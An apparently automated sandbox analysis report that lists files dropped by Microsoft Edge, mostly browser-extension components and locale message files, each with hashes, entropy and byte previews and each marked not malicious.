C:\Users\user\AppData\Local\Temp\8738ac2a-1f8e-42f3-b70c-3b0ad5b346b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\c6b0754a-9885-40b4-a8e0-673a93b06e36.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.40948999364395
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrp:8e2Fa116uCntc5toYH8FM
MD5:	0E2534DC71964E1488441B459F541FF8
SHA1:	82FA92EE5B9BF67CC605F1D48BB9641378F89E4A
SHA-256:	9540667C3CBD8133C7618B7F95D723D3D953C55CF9467947F56B1507A70F156F
SHA-512:	14FB50B6B26CE2244F6BAB8952F252E56D0BCCEB27E7A3430AC0141A867005399D540FFCF81557F40EA9593E21D9764AD6ADD89726E089E4791F325C9F3768D7
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\eccf625b-2d45-4461-ac05-b0635b33ee3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\f29c23d7-1a08-4075-b81c-0e43fd1b50ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\scoped_dir7692_25994907\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7692_25994907\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7692_25994907\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7692_25994907\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_25994907\c6b0754a-9885-40b4-a8e0-673a93b06e36.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
